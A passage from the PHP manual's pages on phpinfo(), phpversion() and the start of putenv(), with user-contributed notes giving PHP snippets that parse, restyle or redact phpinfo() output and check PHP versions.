        '(?:<tr.*?><t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>)?)?</tr>)#s',
        $input,
        $matches,
        PREG_SET_ORDER
    )) {
        foreach ($matches as $match) {
            $fn = strpos($match[0], '<th') === false ? $plainText : $titlePlainText;
            if (strlen($match[1])) {
                $phpinfo[$match[1]] = array();
            } elseif (isset($match[3])) {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][$fn($match[2])] = isset($match[4]) ? array($fn($match[3]), $fn($match[4])) : $fn($match[3]);
            } else {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][] = $fn($match[2]);
            }

        }
    }

    return $phpinfo;
}

The output looks something like this (note the headers are also included but are prefixed with '# ', e.g. '# Directive'):

Array
(
    [phpinfo] => Array
        (
            [0] => PHP Version 5.6.5
            [System] => Darwin Calins-MBP 15.0.0 Darwin Kernel Version 15.0.0: Wed Aug 26 19:41:34 PDT 2015; root:xnu-3247.1.106~5/RELEASE_X86_64 x86_64
            [Build Date] => Feb 19 2015 18:34:18
            [Registered Stream Socket Transports] => tcp, udp, unix, udg, ssl, sslv3, sslv2, tls, tlsv1.0
            [Registered Stream Filters] => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
            [1] => This program makes use of the Zend Scripting Language Engine:Zend Engine...
        )

    [apache2handler] => Array
        (
            [Apache Version] => Apache/2.4.16 (Unix) PHP/5.6.5 OpenSSL/0.9.8zg
            [Apache API Version] => 20120211
            [Server Administrator] => webmaster@dummy-host2.example.com
            [Hostname:Port] => sitestacker.local:0
            [# Directive] => Array
                (
                    [0] => # Local Value
                    [1] => # Master Value
                )

            [engine] => Array
                (
                    [0] => 1
                    [1] => 1
                )

            [last_modified] => Array
                (
                    [0] => 0
                    [1] => 0
                )
Joseph Reilly 12-Mar-2015 10:44
One note on the very useful example by "jon at sitewizard dot ca".
The following statements:
Statement 1:
$phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
Statement 2:
$phpinfo[end(array_keys($phpinfo))][] = $match[2];

These two lines will produce the error "Strict Standards:  Only variables should be passed by reference in...".  The root of the error is in the incorrect use of the end() function. The code works but thows the said error.
To address this try using the following statements:

Statement 1 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];

Statement 2 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][] = $match[2];

This fixes the error.
To wrap it all in an example:
<?php
function quick_dev_insights_phpinfo() {
ob_start();
phpinfo(11);
$phpinfo = array('phpinfo' => array());

    if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
        foreach($matches as $match){
        if(strlen($match[1])){
            $phpinfo[$match[1]] = array();
        }elseif(isset($match[3])){
        $keys1 = array_keys($phpinfo);
        $phpinfo[end($keys1)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        }else{
            $keys1 = array_keys($phpinfo);
            $phpinfo[end($keys1)][] = $match[2];

        }

        }
}

    if(! empty($phpinfo)){
        foreach($phpinfo as $name => $section) {
            echo "<h3>$name</h3>\n<table class='wp-list-table widefat fixed pages'>\n";
            foreach($section as $key => $val){
                    if(is_array($val)){
                    echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
                    }elseif(is_string($key)){
                    echo "<tr><td>$key</td><td>$val</td></tr>\n";
                    }else{
                    echo "<tr><td>$val</td></tr>\n";
                }
            }
        }
            echo "</table>\n";
        }else{
    echo "<h3>Sorry, the phpinfo() function is not accessable. Perhaps, it is disabled<a href='http://php.net/manual/en/function.phpinfo.php'>See the documentation.</a></h3>";
    }
}
?>
Frankly, I went thought the trouble of adding this note because the example by "jon at sitewizard dot ca"  is probably the best on the web, and thought it unfortunate that it throws errors. Hope this is useful to someone.
LewisR 16-Feb-2015 08:09
Building on SimonD's elegant example to hide the logged-in username and password, which otherwise appear in plain text, the following should work for PHP 5.4+:

<?php
    // start output buffering
    ob_start();

    // send phpinfo content
    phpinfo();

    // get phpinfo content
    $html = ob_get_contents();

    // flush the output buffer
    ob_end_clean();

    // remove auth data
    if ( isset( $_SERVER[ 'PHP_AUTH_USER' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_USER' ], '[ protected ]' , $html);
    if ( isset( $_SERVER[ 'PHP_AUTH_PW' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_PW' ], '[ protected ]' , $html);

    echo $html;
?>

To remove additional items, just add them as above.
cbar at vmait dot com 26-Apr-2014 01:05
<?php

// NOTE: When accessing a element from the above phpinfo_array(), you can do:
$array = phpinfo_array();

// This will work
echo $array["General"]["System "];

// This should work also, but it doesn't because there is a space after System in the array.
  echo $array["General"]["System"];

// I hope the coder will fix it, so as to save someone else from wasting time. Otherwise, nice script.

?>
SimonD 22-Apr-2013 06:05
Removes sensitive data like AUTH_USER and AUTH_PASSWORD from the phpinfo output:

<?php
// start output buffering
ob_start();

// send phpinfo content
phpinfo();

// get phpinfo content
$html = ob_get_contents();

// flush the output buffer
ob_end_clean();

// remove auth data
if (isset($_SERVER['AUTH_USER'])) $html = str_replace($_SERVER['AUTH_USER'], '<i>no value</i>', $html);
if (isset($_SERVER['AUTH_PASSWORD'])) $html = str_replace($_SERVER['AUTH_PASSWORD'], '<i>no value</i>', $html);

echo $html;
henzeberkheij at dot SPAM dot gmail dot com 28-Aug-2012 02:20
I needed a way to quickly scroll through the phpinfo which is a large list of information. so here it is. In the top there is a list with sections, the new section loaded extensions will hold the links to the anchors of the loaded modules. the section session variables will show the current loaded sessions. It's using Domdocument for manipulation so you should have that loaded:
<?php
ob_start();
    $exts = get_loaded_extensions();
    phpinfo();
    $phpinfo = ob_get_contents();
    ob_end_clean();
    //print $phpinfo;
    $html_str = $phpinfo;
    $html = new DOMDocument();
    $html->loadHTML($html_str);
    $title = $html->getElementsByTagName("title")->item(0);
    $title->nodeValue = "PHP Version ".phpversion();
    $body = $html->getElementsByTagName("body")->item(0);

    $body->setAttribute("style", "background-color:beige;");
    $table = $body = $html->getElementsByTagName("table")->item(3)->nextSibling;
    $head  = $html->getElementsByTagName("table")->item(0)->nextSibling;
    ob_start();
    ?>
    <h2><a name="session_variables">Session variables</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Variables</th><th>Value</th></tr>
    <?php foreach($_SESSION as $key=>$value){
        if(is_bool($value)){
            $value = ($value)?"true":"false";
        }else if(is_array($value)){
            $value = '<pre>'.print_r($value, true).'</pre>';
        }else if(empty($value) && $value != "0"){
            $value = "<i>no value</i>";
        }
    ?>
    <tr>
        <td class="e"><?=$key?></td>
        <td class="v"><?=$value?></td>
    </tr>
    <?php
    }
    ?>
    </table>

    <h2><a name="loaded_extensions">loaded extensions</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Extension</th><th>Version</th></tr>
    <?php

        natcasesort($exts);
    foreach($exts as $value){
        $version = phpversion($value);
    ?>
    <tr>
        <td class="e" style="width:150px;"><a href="#module_<?=$value?>" style="color:black; background-color:#ccccff;"><?=$value?></a></td>
        <td class="v"><?=(!empty($version))?$version:"<i>Unknown</i>" ?></td>
    </tr>
    <?php
    }
    ?>
    </table><br />
    <?php
    $txt_str = ob_get_contents();
    ob_end_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);

    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $table);
    }

    $h2 = $html->getElementsByTagName("h2");
    foreach($h2 as $item){
        if($item->getElementsByTagName("a")->length == 0){
            $value = $item->nodeValue;
            $item->nodeValue = "";
            $a = $html->createElement("a");
            $a->setAttribute("name", strtolower(str_replace(" ", "_", $value)));
            $a->nodeValue = $value;
            $item->appendChild($a);
        }
        $a = $item->getElementsByTagName("a")->item(0);

        if(!in_array($a->nodeValue, $exts)){
            $menu[strtolower(str_replace(" ", "_", $a->nodeValue))] = $a->nodeValue;
        }
        $top_a = $html->createElement("a");
        if(!in_array($a->nodeValue, $exts)){
            $txt = $html->createTextNode("(Go to top)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#");
        }else{
            $txt = $html->createTextNode("(Go to extensionlist)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#loaded_extensions");
        }
        $top_a->setAttribute("style", "background-color:beige; font-size:12px; margin-left:5px; margin-top:-5px; color:black;");
        $item->appendChild($top_a);
    }
    ob_start();
    ?>
    <br />
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th colspan="2">Sections</th></tr>
    <tr>
        <?php
        $i = 0;
        foreach($menu as $key=>$item){
            print "<td class='v'><a href='#$key' style='background-color:#cccccc; color:black;'>$item</a></td>";
            if($i%2){
                print '</tr><tr>';
            }
            $i++;
        }
        if($i%2){
            print '<td class="v"></td>';
        }
        ?>
    </tr>
    </table>

    <?php
    $txt_str = ob_get_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);
    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $head);
    }
    print $html->saveHTML();
?>
neo_selen 21-Jun-2012 08:52
here you can notice that these numeric values of phpinfo
are similar to certain things in the binary system:

-1, coded in 7 digits:
111 1111

look at this:
1+2+4+8+16+32+64=127

unsigned,127 is:
111 1111

so, take a look at this: the way to get all function is to add all of them. zero is nothing.-1 is all.
so you can pass option with a negative number.
for example:
<?php phpinfo(48) ?>
is also:
<?php phpinfo(-80) ?>
48 = 32 + 16
-80= 0 - 64 - 8 - 4 - 2 - 1

so you can see in negative mode it like that:
not nothing
not all (-1) don't forget it !
not option 64
not option 8
not option 4
not option 2

so, that's good if you don't want option 8, you will do this:
not nothing(0)
not all(-1)
not option 8(-1)
you got:
<?php phpinfo(-9); ?>

hope this will be useful, that's my 1rst post ^^
Ken 13-Dec-2011 06:52
Hi.

Here my version of saving php_info into an array:

<?php
function phpinfo_array()
{
    ob_start();
    phpinfo();
    $info_arr = array();
    $info_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
    $cat = "General";
    foreach($info_lines as $line)
    {
        // new cat?
        preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
        if(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = $val[2];
        }
        elseif(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
        }
    }
    return $info_arr;
}

// example:
echo "<pre>".print_r(phpinfo_array(), 1)."</pre>";
?>
arimbourg at ariworld dot eu 08-Nov-2010 07:28
This is necessary to obtain a W3C validation (XHTML1.0 Transitionnal)...
phpinfo's output is declared with that DTD :
- "System ID" has the wrong url to validate : "DTD/xhtml1-transitional.dtd" rather than "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
- Some module names contains space and the function's output use the name in anchors as ID and NAME. these attributes can't be validated like that (unique name only).

<?php

ob_start ();

ob_start ();                              // Capturing
phpinfo ();                               // phpinfo ()
$info = trim (ob_get_clean ());           // output

// Replace white space in ID and NAME attributes... if exists
$info = preg_replace ('/(id|name)(=["\'][^ "\']+) ([^ "\']*["\'])/i', '$1$2_$3', $info);

$imp = new DOMImplementation ();
$dtd = $imp->createDocumentType (
    'html',
    '-//W3C//DTD XHTML 1.0 Transitional//EN',
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$doc = $imp->createDocument (
    'http://www.w3.org/1999/xhtml',
    'html',
    $dtd
);
$doc->encoding = 'utf-8';

$info_doc = new DOMDocument ('1.0', 'utf-8');
/* Parse phpinfo's output
 * operator @ used to avoid messages about undefined entities
 * or use loadHTML instead
 */
@$info_doc->loadXML ($info);

$doc->documentElement->appendChild ( // Adding HEAD element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('head')->item (0),
        true                         // With all the subtree
    )
);
$doc->documentElement->appendChild ( // Adding BODY element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('body')->item (0),
        true                         // With all the subtree
    )
);

// Now you get a clean output and you are able to validate...
/*
echo ($doc->saveXML ());
//      OR
echo ($doc->saveHTML ());
 */

// By that way it's easy to add some style declaration :
$style = $doc->getElementsByTagName ('style')->item (0);
$style->appendChild (
    $doc->createTextNode (
        '/* SOME NEW CSS RULES TO ADD TO THE FUNCTION OUTPUT */'
    )
);

// to add some more informations to display :
$body = $doc->getElementsByTagName ('body')->item (0);
$element = $doc->createElement ('p');
$element->appendChild (
    $doc->createTextNode (
        'SOME NEW CONTENT TO DISPLAY'
    )
);
$body->appendChild ($element);

// to add a new header :
$head = $doc->getElementsByTagName ('head')->item (0);
$meta = $doc->createElement ('meta');
$meta->setAttribute ('name', 'author');
$meta->setAttribute ('content', 'arimbourg at ariworld dot eu');
$head->appendChild ($meta);

// As you wish, take the rest of the output and add it for debugging
$out = ob_get_clean ();

$pre = $doc->createElement ('div'); // or pre
$pre->setAttribute ('style', 'white-space: pre;'); // for a div element, useless with pre
$pre->appendChild ($doc->createTextNode ($out));
$body->appendChild ($pre);

$doc->formatOutput = true; // For a nice indentation
$doc->saveXML ();

?>

All that could be done with only RegExp but I prefer the use of DOM for manipulating documents
webmaster at askapache dot com 05-Dec-2008 08:48
I wanted a simple *function* to convert the output of phpinfo into an array.  Here's what I came up with thanks to alot of the previous authors tips, and the source file: php-5.2.6/ext/standard/info.c

Call this function like phpinfo_array() prints the array, phpinfo_array(1) returns the array for your own processing.

== Sample Output ==
[PHP Configuration] => Array
 (
  [PHP Version] => 5.2.6
  [PHP Egg] => PHPE9568F34-D428-11d2-A769-00AA001ACF42
  [System] => Linux askapache 2.6.22.19-grsec3
  [Build Date] => Nov 11 2008 13:09:07
  [Configure Command] =>  ./configure --prefix=/home/grsec/bin/php
  [Server API] => FastCGI

  [IPv6 Support] => enabled
 [Zend Egg] => PHPE9568F35-D428-11d2-A769-00AA001ACF42
  [PHP Credits Egg] => PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
 )

[mbstring] => Array
 (
  [mbstring.http_input] => pass
  [mbstring.internal_encoding] => Array
    (
     [0] => ISO-8859-1
     [1] => no value
    )

  [mbstring.language] => neutral
   )

[mcrypt] => Array
 (
  [Version] => 3.5.7
  [Api No] => 20031217
 )

<?php
function phpinfo_array($return=false){
 /* Andale!  Andale!  Yee-Hah! */
 ob_start();
 phpinfo(-1);

 $pi = preg_replace(
 array('#^.*<body>(.*)</body>.*$#ms', '#<h2>PHP License</h2>.*$#ms',
 '#<h1>Configuration</h1>#',  "#\r?\n#", "#</(h1|h2|h3|tr)>#", '# +<#',
 "#[ \t]+#", '#&nbsp;#', '#  +#', '# class=".*?"#', '%&#039;%',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>'
  .'<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#',
  '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
  "# +#", '#<tr>#', '#</tr>#'),
 array('$1', '', '', '', '</$1>' . "\n", '<', ' ', ' ', ' ', '', ' ',
  '<h2>PHP Configuration</h2>'."\n".'<tr><td>PHP Version</td><td>$2</td></tr>'.
  "\n".'<tr><td>PHP Egg</td><td>$1</td></tr>',
  '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
  '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
  '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'),
 ob_get_clean());

 $sections = explode('<h2>', strip_tags($pi, '<h2><th><td>'));
 unset($sections[0]);

 $pi = array();
 foreach($sections as $section){
   $n = substr($section, 0, strpos($section, '</h2>'));
   preg_match_all(
   '#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
     $section, $askapache, PREG_SET_ORDER);
   foreach($askapache as $m)
       $pi[$n][$m[1]]=(!isset($m[3])||$m[2]==$m[3])?$m[2]:array_slice($m,2);
 }

 return ($return === false) ? print_r($pi) : $pi;
}

?>
Phelon Dudras 28-Nov-2008 01:26
A simple method to style your own phpinfo() output.

<style type="text/css">
#phpinfo {}
#phpinfo pre {}
#phpinfo a:link {}
#phpinfo a:hover {}
#phpinfo table {}
#phpinfo .center {}
#phpinfo .center table {}
#phpinfo .center th {}
#phpinfo td, th {}
#phpinfo h1 {}
#phpinfo h2 {}
#phpinfo .p {}
#phpinfo .e {}
#phpinfo .h {}
#phpinfo .v {}
#phpinfo .vr {}
#phpinfo img {}
#phpinfo hr {}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
jon at sitewizard dot ca 05-Jul-2008 07:54
To extract all of the data from phpinfo into a nested array:
<?php
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

Some examples of using individual values from the array:

<?php
    echo "System: {$phpinfo['phpinfo']['System']}<br />\n";
    echo "Safe Mode: {$phpinfo['PHP Core']['safe_mode'][0]}<br />\n";
    echo "License: {$phpinfo['PHP License'][0]}<br />\n";
?>

To display everything:

<?php
    foreach($phpinfo as $name => $section) {
        echo "<h3>$name</h3>\n<table>\n";
        foreach($section as $key => $val) {
            if(is_array($val))
                echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
            elseif(is_string($key))
                echo "<tr><td>$key</td><td>$val</td></tr>\n";
            else
                echo "<tr><td>$val</td></tr>\n";
        }
        echo "</table>\n";
    }
?>

Note: In order to properly retrieve all of the data, the regular expression matches table headers as well as table data, resulting in 'Local Value' and 'Global Value' showing up as 'Directive' entries.
yurkins 23-Jun-2008 07:24
big thanx 2 Mardy dot Hutchinson at gmail dot com
very good!

some fixes to correct result displaying:
1. we need to trim $matches [1], 'cause there can be empty lines;
2. not bad to remove <body> tag 'cause styles for it not apply correctly...
3. ...and change styles a little (remove "body" selector)

we need to change two lines:

<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);
?>
to
<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', ob_get_clean(), $matches);
?>

and

<?php
preg_split( '/\n/', $matches[1] )
?>
to
<?php
preg_split( '/\n/', trim(preg_replace( "/\nbody/", "\n", $matches[1])) )
?>

That's all! Now we have a really flexible addition to phpinfo();
Mardy dot Hutchinson at gmail dot com 09-Sep-2007 03:27
Embedding phpinfo within your page, that already has style information:

The phpinfo output is wrapped within a <div class='phpinfodisplay'>, and we privatize all the style selectors that phpinfo() creates.

Yes, we cheat on preparing the selector list.

<?php
ob_start();
phpinfo();

preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);

# $matches [1]; # Style information
# $matches [2]; # Body information

echo "<div class='phpinfodisplay'><style type='text/css'>\n",
    join( "\n",
        array_map(
            create_function(
                '$i',
                'return ".phpinfodisplay " . preg_replace( "/,/", ",.phpinfodisplay ", $i );'
                ),
            preg_split( '/\n/', $matches[1] )
            )
        ),
    "</style>\n",
    $matches[2],
    "\n</div>\n";
?>

Perhaps one day the phpinfo() function will be modified to output such a safe string on its own.
Andrew dot Boag at catalyst dot net dot nz 09-Sep-2007 12:47
One note on the above functions for cleaning up the phpinfo() HTML and throwing it into an array data structure. In order to catch all of the info tidbits the preg_match_all has to be tweaked to deal with 2 and 3 column tables.

I have changed the preg_match_all() here so that the last <td></td> is optional

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(-1);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER))
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jb2386 at hotmail dot com 10-Oct-2006 09:29
This is a slight modification to the previous code by "code at adspeed dot com" that extracts the PHP modules as an array. I used it on PHP 4.1.2 and it failed as the <h2> tags also had an align="center". So this update changes the regex for those tags:

<?php

/* parse php modules from phpinfo */

function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}
?>
code at adspeed dot com 09-Dec-2005 03:31
This function parses the phpinfo output to get details about a PHP module.

<?php
/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
    $vPat = '<info>([^<]+)<\/info>';
    $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
    $vPat2 = "/$vPat\s*$vPat/";
    if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
    } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
    }
   }
  }
 }
 return $vModules;
}
?>

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

<?php
/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
?>

Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry 06-Oct-2005 08:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
      $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>


获取当前的PHP版本

  • ? phpinfo
  • putenv ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前的PHP版本

phpversion

(PHP 4, PHP 5, PHP 7, PHP 8)

phpversion — 获取当前的PHP版本

说明

phpversion(?string $extension = null): string|false

返回了包含当前运行 PHP 解释器或扩展版本信息的 string。

参数

extension

可选的扩展名。

返回值

以 string 形式返回当前 PHP 版本。如果为 extension 提供了 string 类型的参数，phpversion() 会返回该扩展的版本。如果没有对应的版本信息，或者该扩展未启用，则返回 false。

更新日志

版本 | 说明
8.0.0 | extension 现在可为 null。

示例

Example #1 phpversion() 示例

<?php
// prints e.g. 'Current PHP version: 4.1.1'
echo 'Current PHP version: ' . phpversion();

// prints e.g. '2.0' or nothing if the extension isn't enabled
echo phpversion('tidy');
?>

Example #2 PHP_VERSION_ID 示例和用法

<?php
// PHP_VERSION_ID 自 PHP 5.2.7 起有效，
// 如果我们的版本低于该版本，则用以下代码来模拟
if (!defined('PHP_VERSION_ID')) {
$version = explode('.', PHP_VERSION);

define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}

// PHP_VERSION_ID 定义为一个数字，PHP 版本越新，数字越大。
// 它的定义是以下的表达式：
//
// $version_id = $major_version * 10000 + $minor_version * 100 + $release_version;
//
// 现在我们可以通过 PHP_VERSION_ID 来检查 PHP 版本，
// 而不用每次都必须用 version_compare() 来检查 PHP 是否支持某个功能。
//
// 比如，我们在此可以定义一系列 PHP_VERSION_* constants 常量，
// 而在 5.2.7 之前的版本并没有被定义。

if (PHP_VERSION_ID < 50207) {
define('PHP_MAJOR_VERSION', $version[0]);
define('PHP_MINOR_VERSION', $version[1]);
define('PHP_RELEASE_VERSION', $version[2]);

// 等等， ...
}
?>

注释

Note:

这些信息也存在于预定义常量 PHP_VERSION里。 更多版本的信息可以使用常量 PHP_VERSION_*。

Note:

许多扩展可能会定义它们自己的版本号。然而，大多数捆绑版本将会使用 PHP 版本作为他们的版本号。

Note:

一些扩展可能会定义他们自己的版本号。 然而，大多数内置的扩展会使用 PHP 版本作为它们的版本号。

参见

  • 常量 PHP_VERSION
  • version_compare() - 对比两个「PHP 规范化」的版本数字字符串
  • phpinfo() - 输出关于 PHP 配置的信息
  • phpcredits() - 打印 PHP 贡献者名单
  • zend_version() - 获取当前 Zend 引擎的版本

User Contributed Notes

burninleo at gmx dot net 14-Jul-2016 08:38
Note that the version string returned by phpversion() may include more information than expected: "5.5.9-1ubuntu4.17", for example.
cHao 08-May-2013 08:45
If you're trying to check whether the version of PHP you're running on is sufficient, don't screw around with `strcasecmp` etc.  PHP already has a `version_compare` function, and it's specifically made to compare PHP-style version strings.

<?php
if (version_compare(phpversion(), '5.3.10', '<')) {
    // php version isn't high enough
}
?>
pavankumar at tutorvista dot com 29-Oct-2010 12:39
To know, what are the {php} extensions loaded & version of extensions :

<?php
foreach (get_loaded_extensions() as $i => $ext)
{
   echo $ext .' => '. phpversion($ext). '<br/>';
}
?>


设置环境变量的值

  • ? phpversion
  • restore_include_path ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 设置环境变量的值

putenv

(PHP 4, PHP 5, PHP 7, PHP 8)

putenv — 设置环境变量的值

说明

putenv(string $assignment): bool

添加 assignment 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

参数

assignment

